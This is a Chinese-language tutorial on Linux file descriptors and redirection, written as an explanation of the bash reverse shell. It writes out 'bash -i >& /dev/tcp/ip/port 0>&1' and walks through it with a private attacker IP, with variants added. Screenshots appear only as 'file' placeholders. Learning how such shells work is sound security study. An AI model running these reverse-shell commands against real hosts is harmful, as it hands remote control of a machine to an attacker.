Linux重定向及反彈shell詳解

這裏說Linux重定向的緣由主要仍是爲了詳細瞭解一下Linux中的反彈shellshell

目錄

0x01 文件描述符bash

0x02 重定向socket

0x03 反彈shelltcp

0x04 交互重定向3d

0x05 命令變形code

0x01 文件描述符

Linux的文件描述符有如下三種blog

標準輸入:0ip

標準輸出:1文檔

錯誤輸出:2get

對於文件描述符就先知道這些就能夠了,具體的使用會在重定向中來講,重定向就是對文件描述符的操做

0x02 重定向

重定向主要分爲如下兩種

輸入重定向 <<<

輸出重定向 >>>

經過下面的兩張圖就能夠很明白的看出來他們的用途了

file

file

咱們這裏的輸出重定向>,就至關因而1>,輸入重定向 <,就至關因而0<

那若是要使用錯誤輸出的話,就必須寫成 2>

file

咱們也能夠把錯誤的內容重定向到另外一個文件中的

下面這個操做,咱們就能夠把正確的結果放到test.txt,而把錯誤的結果放到test1.txt文件中

file

一樣也能夠將結果和錯誤輸出一塊兒輸出到一個文件中去

在正常輸入的命令結尾加上2>&1就能夠實現了,這個語句能夠理解爲將錯誤輸出與標準輸出一致,也就是將他們輸出到一個文件中來

file

其實這裏的&符號是爲了區分文件跟文件描述符的,若是這裏沒有&符號,系統會把它理解爲文件,而不是標準輸出

file

0x03 反彈shell

下面是很常見的一條反彈shell命令,咱們就以這個爲例來進行解釋

bash -i >& /dev/tcp/ip/port 0>&1

解釋

bash -i

表示建立一個交互式的shell,能夠在幫助文檔中看到

file

/dev/tcp/ip/port

實際上這個文件不是存在的,可是當你在監聽這個端口的時候,對這個文件進行讀寫,就能夠實現兩個主機之間的socket通訊

file

首先咱們在本地開啓監聽,而後在Linux機器上輸入下面的命令,即將指定字符發送到192.168.6.13333端口

file

file

0>&1

將標準輸入和標準輸出重定向到指定的文件中

若是把這條命令改爲2>&1可能會更容易理解一點

file

file

若是理解了上面這個的話,對於這個就很容易理解了

>&

將前面的後和後面的一致,就是將交互式的shell傳給咱們的遠程主機

理解了上面的內容,咱們將標準輸出改成標準輸入,看一下會發生什麼事情

file

file

0x04 交互重定向

理解了上面的內容以後,咱們在一步步分解一下交互式shell

使用下面的語句能夠將輸出內容發送到攻擊機上

file

file

可是這樣會有一個問題,攻擊者沒有實現對此主機的徹底控制,是不能在受害主機中運行命令的,此時咱們還會想起來另外一條命令,將它轉換成標準輸入

file

file

這樣咱們就實現了從攻擊機輸入命令進行控制,而後咱們將兩條命令合併一下,將標準輸入和標準輸出都指向到遠程主機上,即實現交互式shell

file

在這個狀況下的邏輯就是,從/dev/tcp/192.168.1.6/3333獲取輸入,而後將輸出重定向到/dev/tcp/192.168.1.6/3333,從而造成了一個迴路

file

可是這裏面仍是有一個問題的,能夠看到咱們輸入的命令在受害主機上仍是會顯示出命令的,因此仍是須要進行改進的

咱們上面也說了如何將全部的正確和錯誤信息都重定向到一塊兒,這裏就可使用這個方法來進行處理

file

file

能夠看到全部產生的消息都在攻擊機上顯示出來了,這樣就達到了咱們最初的目的了

咱們也可使用與之等價的命令來進行操做,也就是咱們最前面所寫出來的那一條命令

file

file

0x05 命令變形

若是咱們把 0>&1 改爲 0<&1 將會發生什麼

file

能夠發現二者的效果是同樣的,它們惟一的不一樣是打開文件時候的方式不一樣,其餘的內容都與咱們前面說的是同樣的

一樣的,咱們將 0>&1 變爲 0>&2 是同樣的效果

file

至於其餘的變形類型的,就按照上面所說的那些東西本身去推算便可。

本文由博客一文多發平臺 OpenWrite 發佈!

相關文章
相關標籤/搜索